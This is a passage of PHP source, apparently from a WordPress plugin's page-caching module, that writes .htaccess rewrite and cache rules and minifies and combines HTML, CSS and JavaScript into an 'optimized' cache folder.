				$forceTo = "\nRewriteCond %{HTTP_HOST} ^www.".str_replace("www.", "", $_SERVER["HTTP_HOST"])." [NC]"."\n".
						   "RewriteRule ^(.*)$ ".preg_quote(home_url(), "/")."\/$1 [R=301,L]";
			}
		}

		if(!preg_match("/^https/i", get_option("home"))){
			$notSecure = "RewriteCond %{HTTPS} !=on"."\n";
		}

		if($this->is_trailing_slash()){
			$trailing_slash = "RewriteCond %{REQUEST_URI} \/$"."\n";
		}

		$kchtaccess = '# BEGIN KC Optimized'."\n".
			'<IfModule mod_rewrite.c>'."\n".
			'RewriteEngine On'."\n".
			'RewriteBase /'.$forceTo."\n".
			'RewriteCond %{HTTP_HOST} ^'.$host."\n".
			'RewriteCond %{HTTP_USER_AGENT} !(facebookexternalhit|WhatsApp|Mediatoolkitbot)'."\n".
			'RewriteCond %{REQUEST_METHOD} !POST'."\n".
			$notSecure.
			'RewriteCond %{REQUEST_URI} !(\/){2}$'."\n".
			$trailing_slash.
			'RewriteCond %{QUERY_STRING} !.+'."\n".
			'RewriteCond %{HTTP:Cookie} !(comment_author_|wordpress_logged_in|wp_woocommerce_session)'."\n".
			'RewriteCond %{HTTP:Profile} !^[a-z0-9\"]+ [NC]'."\n".
			'RewriteCond %{DOCUMENT_ROOT}/optimized/$1/index.html -f [or]'."\n".
			'RewriteCond '.ABSPATH.'optimized'.$path.'/$1/index.html -f'."\n";

		if(ABSPATH == "//"){
			$kchtaccess .= "RewriteCond %{DOCUMENT_ROOT}/optimized/$1/index.html -f"."\n";
		}else{
			$kchtaccess .= 'RewriteCond %{DOCUMENT_ROOT}/optimized/$1/index.html -f [or]'."\n";
			$kchtaccess .= 'RewriteCond '.ABSPATH.'optimized'.$path.'/$1/index.html -f'."\n";
		}

		$kchtaccess .= 'RewriteRule ^(.*) "'.$path.'/optimized'.$path.'/$1/index.html" [L]'."\n".'</IfModule>'."\n";

		$kchtaccess .= '<FilesMatch "\.(html|htm)$">'."\n".
							'AddDefaultCharset UTF-8'."\n".
							'<ifModule mod_headers.c>'."\n".
							'FileETag None'."\n".
							'Header unset ETag'."\n".
							'Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"'."\n".
							'Header set Pragma "no-cache"'."\n".
							'Header set Expires "Mon, 29 Oct 1923 20:30:00 GMT"'."\n".
							'</ifModule>'."\n".
						'</FilesMatch>'."\n";


if ($advanced == 1) {

		$kchtaccess .= <<<EOD
# KC Gzip
<IfModule mod_deflate.c>
AddType x-font/woff .woff
AddOutputFilterByType DEFLATE image/svg+xml
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE text/javascript
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
AddOutputFilterByType DEFLATE application/x-font-ttf
AddOutputFilterByType DEFLATE application/vnd.ms-fontobject
AddOutputFilterByType DEFLATE font/opentype font/ttf font/eot font/otf
</IfModule>
# KC LBC
<FilesMatch "\.(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf|x-html|css|xml|js|woff|woff2|ttf|svg|eot)(\.gz)?$">
<IfModule mod_expires.c>
ExpiresActive On
ExpiresDefault A0
ExpiresByType image/gif A2592000
ExpiresByType image/png A2592000
ExpiresByType image/jpg A2592000
ExpiresByType image/jpeg A2592000
ExpiresByType image/ico A2592000
ExpiresByType image/svg+xml A2592000
ExpiresByType text/css A2592000
ExpiresByType text/javascript A2592000
ExpiresByType application/javascript A2592000
ExpiresByType application/x-javascript A2592000
</IfModule>
<IfModule mod_headers.c>
Header set Expires "max-age=2592000, public"
Header unset ETag
Header set Connection keep-alive
FileETag None
</IfModule>
</FilesMatch>
EOD;
		}

		$kchtaccess .= "\n".'# END KC Optimized'."\n";
		if (!file_put_contents(ABSPATH.'.htaccess', $kchtaccess.$htcontent) && !is_file(ABSPATH.'.htaccess'))
			return false;

		flush_rewrite_rules();
		return true;

	}

	private function is_trailing_slash(){

		if($permalink_structure = get_option('permalink_structure')){
			if(preg_match("/\/$/", $permalink_structure)){
				return true;
			}
		}

		return false;
	}

	private function create_combined ($links = array(), $type = 'js') {

		$name = implode('-', $links);
		$name = md5($name).'.'.$type;

		$content = '';

		foreach ($links as $link) {

			if (strpos($link, $this->surl) !== false) {
				$path = str_replace(array($this->surl, '/'), array(ABSPATH, KDS), $link);
				$path = parse_url($path);
				if (!is_file($path['path'])) {
					// internal file : do not get content if does not exist
					continue;
				}
			}

			$get_content = $this->get_html((is_ssl() ? 'https://' : 'http://').$link);
			$content .= ($type == 'js') ? $this->minify_js ($get_content) : $this->before_combined_css ($get_content, $link);
			$content .= "\n";

		}

		if (!is_dir(ABSPATH.'optimized'))
			wp_mkdir_p(ABSPATH.'optimized');

		if (!file_put_contents(ABSPATH.'optimized/'.$name, $content) && !is_file(ABSPATH.'optimized/'.$name)){
			return false;
		}

		return site_url('/optimized/'.$name);

	}

	private function before_combined_css($css = '', $url = '') {

		$this->url = $url;
		$css = $this->minify_css($css);

		$css = preg_replace("/@import\s+[\"\']([^\;\"\'\)]+)[\"\'];/", "@import url($1);", $css);
		$css = preg_replace_callback("/url\(([^\)\n]*)\)/", array($this, 'img_path_css'), $css);
		$css = preg_replace_callback('/@import\s+url\(([^\)]+)\);/i', array($this, 'import_css_rules'), $css);
		$css = $this->css_charset($css);

		return !empty($css) ? $css : ' ';

	}

	private function img_path_css ($m) {

		$mt = trim($m[1]);
		$http = is_ssl() ? 'https://' : 'http://';
		$fix_url = $http.dirname($this->url);

		if (!preg_match("/data\:image\/svg\+xml/", $mt)){

			$mt = str_replace(array("\"","'"), "", $mt);
			$mt = trim($mt);

			if(!$mt) return "url('')";

			if (preg_match("/^(\/\/|http|\/\/fonts|data:image|data:application)/", $mt)) {

				if (preg_match("/fonts\.googleapis\.com/", $mt))
					$mt = '"'.$mt.'"';

			} else if (preg_match("/^\//", $mt)) {
				$mt = $http.dirname(home_url()).$mt;
			} else if(preg_match("/^\.\/.+/i", $mt)) {
				$mt = str_replace("./", $fix_url."/", $mt);
			} else if(preg_match("/^(?P<up>(\.\.\/)+)(?P<name>.+)/", $mt, $out)){

				$count = strlen($out["up"])/3;
				$url = dirname($this->url);

				for ($i = 1; $i <= $count; $i++)
					$url = substr($url, 0, strrpos($url, "/"));

				//$url = str_replace(array("http:", "https:"), "", $url);
				$mt = $http.$url."/".$out["name"];

			}else $mt = $fix_url."/".$mt;

		}

		return "url(".$mt.")";

	}

	private function import_css_rules ($m) {

		//if (strpos($m[0], site_url()) !== false) {

			if ($content = $this->get_html($matches[1], "?v=".time())) {

				$tmp_url = $this->url;
				$this->url = $m[1];
				$content = $this->img_path_css($content, $m[1]);
				$this->url = $tmp_url;

				return $content;

			}
		//}

		return $m[0];
	}

	private function css_charset ($css = '') {

		preg_match_all('/@charset[^\;]+\;/i', $css, $crs);

		if (count($crs[0]) > 0) {
			$css = preg_replace('/@charset[^\;]+\;/i', "", $css);
			foreach ($crs[0] as $cs)
				$css = $cs."\n".$css;
		}

		return $css;

	}

	private function minifier_html($input = '') {

	    return preg_replace_callback('#<\s*([^\/\s]+)\s*(?:>|(\s[^<>]+?)\s*>)#', array(&$this, 'minifier_html_01'), $input);
	}

	private function minifier_html_01($m) {
        if(isset($m[2])) {
            // Minify inline CSS declaration(s)
            if(stripos($m[2], ' style=') !== false) {
                $m[2] = preg_replace_callback('#( style=)([\'"]?)(.*?)\2#i', array(&$this, 'minifier_html_02'), $m[2]);
            }
            return '<' . $m[1] . preg_replace(
                array(
                    // From `defer="defer"`, `defer='defer'`, `defer="true"`, `defer='true'`, `defer=""` and `defer=''` to `defer` [^1]
                    '#\s(checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)(?:=([\'"]?)(?:true|\1)?\2)#i',
                    // Remove extra white-space(s) between HTML attribute(s) [^2]
                    '#\s*([^\s=]+?)(=(?:\S+|([\'"]?).*?\3)|$)#',
                    // From `<img />` to `<img/>` [^3]
                    '#\s+\/$#'
                ),
                array(
                    // [^1]
                    ' $1',
                    // [^2]
                    ' $1$2',
                    // [^3]
                    '/'
                ),
            str_replace("\n", ' ', $m[2])) . '>';
        }
        return '<' . $m[1] . '>';
    }

	private function minifier_html_02($m) {
        return $m[1] . $m[2] . $this->minify_css($m[3]) . $m[2];
    }

	private function minify_html($input = '') {

	    if( ! $input = trim($input)) return $input;

	    // Keep important white-space(s) after self-closing HTML tag(s)
	    $input = preg_replace('#(<(?:img|input)(?:\s[^<>]*?)?\s*\/?>)\s+#i', '$1' . $this->X . '\s', $input);
	    // Create chunk(s) of HTML tag(s), ignored HTML group(s), HTML comment(s) and text
	    $input = preg_split('#(' . $this->CH . '|<pre(?:>|\s[^<>]*?>)[\s\S]*?<\/pre>|<code(?:>|\s[^<>]*?>)[\s\S]*?<\/code>|<script(?:>|\s[^<>]*?>)[\s\S]*?<\/script>|<style(?:>|\s[^<>]*?>)[\s\S]*?<\/style>|<textarea(?:>|\s[^<>]*?>)[\s\S]*?<\/textarea>|<[^<>]+?>)#i', $input, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
	    $output = "";
	    foreach($input as $v) {
	        if($v !== ' ' && trim($v) === "") continue;
	        if($v[0] === '<' && substr($v, -1) === '>') {
	            if($v[1] === '!' && strpos($v, '<!--') === 0) { // HTML comment ...
	                // Remove if not detected as IE comment(s) ...
	                if(substr($v, -12) !== '<![endif]-->') continue;
	                $output .= $v;
	            } else {
	                $output .= $this->minify_x($this->minifier_html($v));
	            }
	        } else {
	            // Force line-break with `&#10;` or `&#xa;`
	            $v = str_replace(array('&#10;', '&#xA;', '&#xa;'), $this->X . '\n', $v);
	            // Force white-space with `&#32;` or `&#x20;`
	            $v = str_replace(array('&#32;', '&#x20;'), $this->X . '\s', $v);
	            // Replace multiple white-space(s) with a space
	            $output .= preg_replace('#\s+#', ' ', $v);
	        }
	    }
	    // Clean up ...
	    $output = preg_replace(
	        array(
	            // Remove two or more white-space(s) between tag [^1]
	            '#>([\n\r\t]\s*|\s{2,})<#',
	            // Remove white-space(s) before tag-close [^2]
	            '#\s+(<\/[^\s]+?>)#'
	        ),
	        array(
	            // [^1]
	            '><',
	            // [^2]
	            '$1'
	        ),
	    $output);
	    $output = $this->minify_v($output);
	    // Remove white-space(s) after ignored tag-open and before ignored tag-close (except `<textarea>`)
	    return preg_replace('#<(code|pre|script|style)(>|\s[^<>]*?>)\s*([\s\S]*?)\s*<\/\1>#i', '<$1$2$3</$1>', $output);
	}

	private function minifier_css($input = '') {
	    // Keep important white-space(s) in `calc()`
	    if(stripos($input, 'calc(') !== false) {
	        $input = preg_replace_callback('#\b(calc\()\s*(.*?)\s*\)#i', array(&$this, 'minifier_css_01'), $input);
	    }
	    // Minify ...
	    return preg_replace(
	        array(
	            // Fix case for `#foo [bar="baz"]` and `#foo :first-child` [^1]
	            '#(?<![,\{\}])\s+(\[|:\w)#',
	            // Fix case for `[bar="baz"] .foo` and `@media (foo: bar) and (baz: qux)` [^2]
	            '#\]\s+#', '#\b\s+\(#', '#\)\s+\b#',
	            // Minify HEX color code ... [^3]
	            '#\#([\da-f])\1([\da-f])\2([\da-f])\3\b#i',
	            // Remove white-space(s) around punctuation(s) [^4]
	            '#\s*([~!@*\(\)+=\{\}\[\]:;,>\/])\s*#',
	            // Replace zero unit(s) with `0` [^5]
	            '#\b(?:0\.)?0([a-z]+\b|%)#i',
	            // Replace `0.6` with `.6` [^6]
	            '#\b0+\.(\d+)#',
	            // Replace `:0 0`, `:0 0 0` and `:0 0 0 0` with `:0` [^7]
	            '#:(0\s+){0,3}0(?=[!,;\)\}]|$)#',
	            // Replace `background(?:-position)?:(0|none)` with `background$1:0 0` [^8]
	            '#\b(background(?:-position)?):(0|none)\b#i',
	            // Replace `(border(?:-radius)?|outline):none` with `$1:0` [^9]
	            '#\b(border(?:-radius)?|outline):none\b#i',
	            // Remove empty selector(s) [^10]
	            '#(^|[\{\}])(?:[^\{\}]+)\{\}#',
	            // Remove the last semi-colon and replace multiple semi-colon(s) with a semi-colon [^11]
	            '#;+([;\}])#',
	            // Replace multiple white-space(s) with a space [^12]
	            '#\s+#'
	        ),
	        array(
	            // [^1]
	            $this->X . '\s$1',
	            // [^2]
	            ']' . $this->X . '\s', $this->X . '\s(', ')' . $this->X . '\s',
	            // [^3]
	            '#$1$2$3',
	            // [^4]
	            '$1',
	            // [^5]
	            '0',
	            // [^6]
	            '.$1',
	            // [^7]
	            ':0',
	            // [^8]
	            '$1:0 0',
	            // [^9]
	            '$1:0',
	            // [^10]
	            '$1',
	            // [^11]
	            '$1',
	            // [^12]
	            ' '
	        ),
	    $input);
	}

	private function minifier_css_01($m) {
        return $m[1] . preg_replace('#\s+#', $this->X . '\s', $m[2]) . ')';
    }

	private function minify_css($input = '') {

	    if( ! $input = trim($input)) return $input;

	    $input = preg_replace('/\/\*(.*)\*\//Uis', '', $input);
	    do {
			$input = str_replace(
					array( "\n","  ", ": ", " {", "  ", "	", "{ ", " }"),
					array( '', ' ', ':', '{', " ", "", '{', '}'),
					$input
				);
	    } while (strpos($input, "	") !== false || strpos($input, "{ ") !== false || strpos($input, " }") !== false);

	    return $this->minify_v($input);

	}

	private function minifier_js($input = '') {

	    return preg_replace(
	        array(
	            // Remove inline comment(s) [^1]
	            '#\s*\/\/.*$#m',
	            // Remove white-space(s) around punctuation(s) [^2]
	            '#\s*([!%&*\(\)\-=+\[\]\{\}|;:,.<>?\/])\s*#',
	            // Remove the last semi-colon and comma [^3]
	           // '#[;,]([\]\}])#',
	            // Replace `true` with `!0` and `false` with `!1` [^4]
	            '#\btrue\b#', '#\bfalse\b#', '#\breturn\s+#'
	        ),
	        array(
	            // [^1]
	            "",
	            // [^2]
	            '$1',
	            // [^3]
	           // '$1',
	            // [^4]
	            '!0', '!1', 'return '
	        ),
	    $input);
	}

	private function minify_js($input = '') {

		require_once('kc.vendors.jsmin.php');
		return JSMin::minify($input);

	    if( ! $input = trim($input)) return $input;

	    $input = preg_split('#(' . $this->SS . '|' . $this->CC . '|\/[^\n]+?\/(?=[.,;]|[gimuy]|$))#', $input, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
	    $output = "";
	    foreach($input as $v) {
	        if(trim($v) === "") continue;
	        if(
	            ($v[0] === '"' && substr($v, -1) === '"') ||
	            ($v[0] === "'" && substr($v, -1) === "'") ||
	            ($v[0] === '/' && substr($v, -1) === '/')
	        ) {
	            // Remove if not detected as important comment ...
	            if(strpos($v, '//') === 0 || (strpos($v, '/*') === 0 && strpos($v, '/*!') !== 0 && strpos($v, '/*@cc_on') !== 0)) continue;
	            $output .= $v; // String, comment or regex ...
	        } else {
	            $output .= $this->minifier_js($v);
	        }
	    }
	    return preg_replace(
	        array(
	            // Minify object attribute(s) except JSON attribute(s). From `{'foo':'bar'}` to `{foo:'bar'}` [^1]
	            '#(' . $this->CC . ')|([\{,])([\'])(\d+|[a-z_]\w*)\3(?=:)#i',
	            // From `foo['bar']` to `foo.bar` [^2]
	            '#([\w\)\]])\[([\'"])([a-z_]\w*)\2\]#i'
	        ),
	        array(
	            // [^1]
	            '$1$2$4',
	            // [^2]
	            '$1.$3'
	        ),
	    $output);
	}

	private function minify_x($input = '') {
	    return str_replace(array("\n", "\t", ' '), array($this->X . '\n', $this->X . '\t', $this->X . '\s'), $input);
	}

	private function minify_v($input = '') {
	    return str_replace(array($this->X . '\n', $this->X . '\t', $this->X . '\s'), array("\n", "\t", ' '), $input);
	}

	private function render_path_name ($url = '') {

		if (!is_dir(ABSPATH.'optimized') && wp_mkdir_p(ABSPATH.'optimized') === false)
			return false;

		$uparse = parse_url($url);
		$path = ABSPATH.'optimized';
		$name = 'index.html';

		if (isset($uparse['path'])) {
			$path .= $uparse['path'];
			if (!is_dir($path) && !wp_mkdir_p($path))
				return false;
		}

		return untrailingslashit($path).KDS.$name;

	}

	private function is_internal ($link = '') {
		$parse = parse_url ($link);
		return (strpos($this->surl, $parse['host']) === 0);
	}

	public function deactive () {

		delete_option('kc_optimized');

		if (!is_file(ABSPATH.'.htaccess'))
			return true;
		else if (!is_writable(ABSPATH.'.htaccess'))
			return false;

		ob_start();
		include ABSPATH.'.htaccess';
		$htcontent = ob_get_contents();
		ob_end_clean();

		$htcontent = preg_replace('/# BEGIN KC Optimized(.*)# END KC Optimized/Uis', '', $htcontent);
		$htcontent = trim($htcontent);
		if (!file_put_contents(ABSPATH.'.htaccess', $htcontent) && !is_file(ABSPATH.'.htaccess'))
			return false;

		flush_rewrite_rules();
		return true;

	}

	public function delete_cache ($url = 'all') {

		if ($url == 'all') {
			return kc_remove_dir(ABSPATH.'optimized');
		}else{
			$file = $this->render_path_name($url);
			if ($file !== false && file_exists($file))
				return unlink($file);
		}

	}

	public function update_cache($url = '') {
		if ($this->delete_cache($url) )
			return $this->parse($url);
		return false;
	}

}